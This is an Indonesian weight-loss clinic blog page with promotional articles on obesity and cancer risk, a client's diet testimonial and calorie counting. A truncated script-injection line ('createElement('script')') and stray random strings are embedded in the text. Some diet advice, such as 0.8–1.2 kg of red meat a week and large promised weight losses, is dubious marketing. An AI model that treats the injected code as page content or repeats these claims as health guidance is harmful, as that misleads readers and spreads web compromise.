Pada kanker payudara, peningkatan berat badan 2-10 kg ketika usia lebih dari 50 tahun dapat meningkatkan risiko kanker payudara sebesar 30%. Sebaliknya, pada pada penelitian lain menunjukkan, perempuan yang kehilangan berat badan sebanyak 10% sejak menopause dan menjaga berat badannya, dapat menurunkan risiko kanker payudara hingga 50%.

“Bukan hanya pada Anda yang berusia lanjut, peningkatan berat badan sebanyak 25 kg setelah usia 18 tahun juga dapat meningkatkan risiko kanker payudara sebesar 45%”, jelas dr. Eva. Jadi risikonya harus dicegah sejak dini dong. Mencegah lebih baik dari mengobati kan?

Pada pria juga ada lho risikonya. “Beberapa kelompok penelitian juga memperkirakan obesitas sebagai penyebab kanker saluran cerna sebesar 11-14%,” tambahnya. Pada studi EPIC ditemukan bahwa laki-laki obese memiliki risiko 50% lebih tinggi terjadinya kanker saluran cerna dibandingkan kelompok dengan berat badan sehat.

9j1zxu

Perkecil Risiko dengan Turun Berat Badan

Bagaimana kelebihan berat badan bisa membuat Anda terkena kanker? Menurut dr. Eva, obesitas dapat meningkatkan risiko kanker dengan meningkatkan kadar hormon seperti estrogen dan insulin. “Kadar estrogen yang tinggi berkaitan dengan peningkatan risiko kanker payudara dan rahim, sedangkan kadar insulin berkaitan dengan peningkatan risiko kanker hati, rahim, saluran cerna, ginjal, dan pankreas,” ia menjelaskan.

Risiko individu obese menderita kanker rahim 2-3 kali lebih besar daripada individu dengan berat badan sehat. “Selain itu lemak berlebih pada obesitas menyebabkan adanya kondisi inflamasi low state yang berlangsung kronis, sehingga menyebabkan gangguan pada respon sistem imun,” ujarmya. Selain kanker, risiko penderita obesitas yang sudah kita ketahui yaitu diabetes dan penyakit metabolik. Nah, ada lagi nih, ternyata orang obesitas juga bisa terkena osteoporosis. Wuih banyak juga ya…

Nah, lalu bagaimana caranya menurunkan risiko terkena kanker? Mudah! Caranya dengan mulai hidup sehat. Yuk!

  • Jaga berat badan di kisaran indeks massa tubuh sehat yaitu 18,5-22,9 kg/m2
  • Perbanyak konsumsi sayuran, buah, kacang-kacangan, polong-polongan
  • Konsumsi daging merah 0,8-1,2 kg minggu dan hindari konsumsi olahan daging
  • Batasi konsumsi alkohol dua kali sehari untuk laki-laki dan 1 kali untuk perempuan
  • Aktivitas fisik 30 menit per hari, dan batasi gaya hidup sedentari
  • Untuk para ibu, sedapat mungkin berikan ASI esklusif.

Jangan tunda-tunda lagi perubahan gaya hidup Anda! Bahaya kanker mengincar di berbagai kebiasaan buruk yang Anda lakukan. Sayangnya, meskipun Anda sudah tahu mana yang benar dan mana yang salah, tidak selalu bisa langsung berubah bukan? Itu karena kurangnya kontrol diri yang Anda punya.

Klinik lightHOUSE merupakan satu-satunya klinik yang menawarkan jasa program penurunan berat badan yang mampu memperbaiki kontrol diri Anda. Salah satunya dalam program lightWEIGHT. Daftarkan diri Anda dan tim kami akan memberikan informasi lebih lanjut. Mari hidup Sehat!

var d=document;var s=d.createElement(‘script’);

05/21/2016
Selengkapnya
Tummy Talk, Weight Control Tips

Jalani Diet Ekstrim Hanya Bertahan 2 Bulan, dengan lightWEIGHT Turun 16 kg

Kabar buruk bagi pelaku diet ekstrim yang kemungkinan gagalnya tinggi. Biasanya berat badan naik makin tinggi dan nafsu makan makin tidak terkontrol.

Itulah yang dirasakan Finalis lightWEIGHT Challenge 2014, Jennifer Kosasih. Wiraswasta yang berusia 26 tahun ini sebenarnya tidak pernah percaya dengan diet ekstrim yang bisa menurunkan berat badan dengan cepat. “Kalau turunnya cepat, biasanya naiknya lebih cepat lagi,” ujarnya.

Meskipun demikian, Jennifer tetap mencoba beberapa program penurunan berat badan yang tergolong ekstrim. Ia pernah menjalani anjuran sebuah pusat pelangsingan untuk melakukan detoks tiga hari dengan hanya minum air lemon, lalu dilanjutkan dengan menu makan yang serba buah dan serba rebus. Padahal detoks dan mempersiapkan tubuh untuk mulai berdiet itu beda lho. Seperti yang biasa dijalankan para klien lightHOUSE. Hanya dengan menjalani induksi bisa turun hingga 30 kg lho!

Setelah menjalani program tersebut, Jennifer mengaku nafsu makannya makin tidak terkontrol. “Saya hanya bisa menjalani sebulan, setelah itu craving makanan yang aneh-aneh,” ia menceritakan.  Biasanya, perubahan pola makan yang ekstrim memang dapat membuat nafsu makan makin tidak terkendali, terutama jika tidak ada bantuan dari pakarnya untuk meningkatkan kontrol diri.

Bukan hanya itu, Jennifer juga sempat menjalani Obsessive Corbuzier’s Diet atau OCD. “Saya sempat sampai tahap ekstrim, hanya membuka jendela makan 4 jam, jadi selama 20 jam saya puasa. Ini hanya bertahan selama seminggu. Setelah itu saya menurunkan jadi 6 jam waktu makan. Ini pun tidak lama, hanya bertahan 2 bulan, lalu kembali ke pola makan saya sebelumnya,” dia menjelaskan.

Diet yang dipopulerkan oleh Deddy Corbuzier ini sukses membuat banyak orang penasaran. Metode OCD ini hampir sama seperti puasa. Untuk menjalani pola makan pada diet OCD ada beberapa rentang waktu ‘berpuasa’ yang bisa diikuti, waktu puasa yang diberikan yaitu 16 jam, 18 jam dan 20 jam. 

Pakar kami dr. Grace Judio, MSc. berpendapat, hasil setelah diet OCD tidak serta merta menghasilkan berat badan yang sesuai, yang sering dialami adalah berat badan menjadi yoyo. “Artinya, berat badan cepat naik dan cepat turun. Ini terjadi jika diet OCD yg dilakukan ternyata salah. Diet OCD yang salah dalam hal ini dimaksudkan seperti ‘balas dendam’ saat jam makan diperbolehkan,” ujar dr. Grace.

jp9bnk

Dibutuhkan Motivasi
“Diet-diet ekstrim yang saya ikuti seringnya hanya bertahan dua bulan, setelah itu kembali ke pola makan sebelumnya dan berat badan tidak terkontrol,” ujar Jennifer. Semua berbeda saat dia terpilih menjadi Finalis lightWEIGHT Challenge 2014. Sebagai finalis, ia menjalani program lightWEIGHT selama 12 minggu.

Selama mengikuti program Jennifer berhasil menurunkan berat badan sebanyak 16 kg atau 16,2% dari total berat badannya. Awalnya 99,6 kg dan setelah program selesai berat badan Jennifer menjadi 83,5 kg. Saat ini, ia melanjutkan dengan mengambil program lightWEIGHT lagi. Ia terus mempertahankan gaya hidup sehatnya dengan berolah raga secara rutin, hampir tiap hari.

Menurut Jennifer keberhasilannya menjaga berat badan dan gaya hidup sehatnya ini karena ahli gizi di program lightWEIGHT selalu menyemangati dan mengingatkannya. “Saya gampang merasa bosan dengan sesuatu yang punya ritme atau pola sama. Karena itu, motivasi saya sempat menurun di tengah-tengah program. Saya lupa, apa tujuan awal saya mengikuti program ini,” ujarnya. Di saat inilah peran pakar-pakar lightHOUSE menentukan untuk bisa meningkatkan kembali motivasi klien.

Untungnya, program lightWEIGHT menyediakan sejumlah ahli yang  siap membantu klien dengan segala permasalahannya. Saat klien berkonsultasi dengan ahli gizi, mereka akan menyemangati. Di program lain, menurut Jennifer hanya mewajibkan klien untuk mengikuti instruksi atau memakai produk pelangsing tubuh.

“Dalam program lightWEIGHT saya dilatih untuk mengontrol diri sendiri. Saya diberikan pemahaman mengenai pola hidup sehat yang sesungguhnya. Saya dimotivasi menjadi orang yang lebih sehat, bukan sekadar menjadi orang yang lebih langsing,” Jennifer mejelaskan alasannya. Dan, motivasi itu dilatih dengan berbagai inovasi canggih yang akan membantu Anda memiliki kontrol diri.

Seperti Jennifer, jika Sahabat lightHOUSE mengikuti program ini, akan ada banyak ilmu seputar gaya hidup sehat yang dapat diperoleh. Misalnya saja, mengganti dressing saat makan salad dengan olive oil akan percuma bila jumlahnya tetap banyak. Kalorinya akan tetap besar. “Dulu kalau merasa lapar dan tidak ada makanan, saya biasa ngemil cokelat. Sekarang saya tahu bahwa buah dan sayuran segar adalah pilihan yang lebih baik. Makanlah bila lapar perut, bukan karena bosan atau lapar mata.

Setelah menjalani lightWEIGHT Jennifer mengaku merasa jadi lebih fit. “Dulu saya mudah sekali terserang flu, tapi sekarang tidak lagi. Selama mengikuti program, bobot tubuh berkurang  belasan kilogram. Saya optimis mencapai yang lebih baik berkat bekal dari lightWEIGHT Challenge 2014,” ujarnya senang.

Menarik kan testimoni dari Jennifer ini? Program lightWEIGHT yang dijalaninya juga bisa lho Anda ikuti. Jangan cepat percaya dengan diet ekstrim. Coba lightWEIGHT yang komprehensif, mudah, dan menyenangkan. Sayang lho kalau tidak mencoba.

05/21/2016
Selengkapnya
Tummy Talk, Weight Control Tips

Menghitung Kalori, Cara Praktis Agar Terhindar dari Diet Ekstrim

Diet dapat berhasil jika terjadi defisit kalori. Sebab, defisit 7.000 Kalori mengurangi berat badan hingga 1 kg. Lalu, Anda masih tidak mau tahu tentang kalori?

Berbagai macam upaya menurunkan berat badan sebenarnya memakai patokan kalori. Termasuk yang dilakukan dalam diet-diet ekstrim yang kerap beredar di internet. Menurut pakar kami, dr. Grace Judio, MSc, prinsip penurunan berat badan, tidak dapat dipungkiri karena asupan makanan yang masuk lebih kecil dari pada energi yang keluar.

“Asupan makanan dan energi yang keluar itu memakai satuan yang sama, yaitu kalori. Dengan defisit kalori, mau tidak mau tubuh mengambil dari cadangan makanan yang disimpan dalam bentuk lemak tubuh. Inilah yang membuat terjadinya penurunan berat badan,” dr. Grace menjelaskan.

Pendiri klinik lightHOUSE itu menambahkan, cara untuk membuat kalori yang masuk berkurang hingga terjadi defisit kalori itu bisa berbagai macam. “Bisa dengan membatasi jenis makanan saja; membatasi makanan sesuai golongan darah; atau memperbanyak porsi sayuran yang kalorinya lebih kecil dibandingkan protein dan karbohidrat yang tinggi kalori,” ujar konsultan penurunan berat badan ini. Padahal, makan sayur kalau salah pengolahannya juga tidak bisa turun berat lho!

Karena, menurut dr. Grace, cara pengolahan makanan juga menentukan jumlah kalori. Sahabat lightHOUSE harus ingat kalau minyak yang dipakai untuk menggoreng atau memanggang memilki kalori yang tidak kecil. Itulah mengapa sebagian diet dengan penurunan berat badan ekstrim membantasi mengonsumsi makanan olahan dan hanya makan yang mentah saja. “Apa pun itu, jika sampai turun berat ada hukum alam yang berlaku. Dasar dari hukum alam itu adalah hukum kalori,” dr. Grace menegaskan.

Selain itu, cara yang dapat digunakan untuk lebih banyak lagi menurunkan berat berat badan adalah dengan memainkan kadar air di dalam tubuh. Kadar air ini bisa dipengaruhi oleh garam dan asupan gula atau karbohidrat. “Bila ingin turun beratnya lebih banyak dari teori kalorinya, mau tidak mau kita mainkan jumlah air yang ada di dalam badan dengan cara membatasi asupan garam, gula atau karbohidrat. Ini disebut dengan tehnik menipu timbangan.

1z566nq

Menghitung Kalori Tidak Menyiksa

Orang berasumsi menghitung kalori itu susah. Padahal, Anda tidak harus menjadi akuntan yang setiap makan pagi-siang-malam menghitung kalori untuk menjalani tehnik perencanaan makan ini. Simak saja kisah klien kami Achmad Muchtasyar yang menyamakan teori kalori ini dengan filosofi turun berat badan.

“Awalnya Anda harus tahu prinsip dasarnya, yaitu mengetahui secara garis besar berapa kalori yang ada dalam makanan yang sering dijumpai. Selanjutnya bila sudah menguasai, tanpa mencatat pun Anda akan tahu kurang lebih kandungan kalori di tiap menu yang akan disantap,” dr. Grace menerangkan.

Setelah itu, biasanya klien kami bisa memperkirakan kapan bisa makan banyak, kapan dia bisa menikmati makanan favoritnya. Kemudahan ini yang paling penting bukan? Cara ini pun mampu menjawab permasalahan Anda jika mau ke luar kota tapi tetap bisa makan enak. “Itu semua bisa diatasi kalau dia tahu dan berlatih untuk memprediksi kalori yang dimakan,” ujar dr. Grace.

Jangan membayangkan orang yang menghitung kalori itu tersiksa dan di otaknya penuh dengan angka-angka. Orang yang bisa memperkirakan jumlah asupan yang masuk ke dalam tubuhnya, hidupnya justru bisa jadi lebih ceria karena beratnya tetap bisa turun atau stabil jika dia hanya ingin menjaga berat badan.

Apa namanya kalau bukan senang jika Anda bisa tetap makan apapun tanpa ada batasan-batasan yang kaku seperti dalam diet ekstrim. Metode ini sangat tepat bagi orang yang aktivitasnya beragam dan tidak monoton setiap hari, serta bagi orang yang pembosan.

“Sayangnya, tidak semua program mengajarkan hitungan kalori yang benar. Persepsi yang salah dalam menghitung kalori atau pola makan justru akan membuat sebuah program penurunan berat badan tidak menyenangkan dan berat badan pun tidak dapat terkontrol,” jelas dr. Grace. Bila pengetahuan tentang kalori itu ditunjang dengan pengetahuan tentang tubuh dan apa yang terjadi saat makan atau berdiet, semua akan lebih sukses.

Karena itulah, sebaiknya Sahabat lightHOUSE harus berhati-hati dalam memilih program penurunan berat badan dan dalam berdiet. Klinik lightHOUSE membimbing para klien untuk bisa menikmati hidup dengan metode yang komprehensif, mudah, dan menyenangkan dengan teknologi terkini. Silakan mencoba teknologi terbaru kami yang selalu terdepan dalam inovasi penurunan berat badan.

Salah satu yang terbaru, dan pertama di Indonesia, alat simulasi kami yang membantu klien agar memiliki pengetahuan dan kontrol diri saat harus makan di luar, terutama saat menghadapi food court. Kami akan melatih hingga klien dapat memilih makanan yang tepat tanpa harus selalu pegang kalkulator kalori. Mudah dan menyenangkan bukan?

05/21/2016
Selengkapnya

Tag Populer

Artikel Populer

Sebelas Pertanyaan yang Sering Diajukan Tentang Diet

09/19/2016

SOFT OPENING KLINIK LIGHTHOUSE BEKASI!

10/21/2022

Berat Badan Turun 20 kg Dalam 3 Bulan, Kok Bisa?

12/09/2016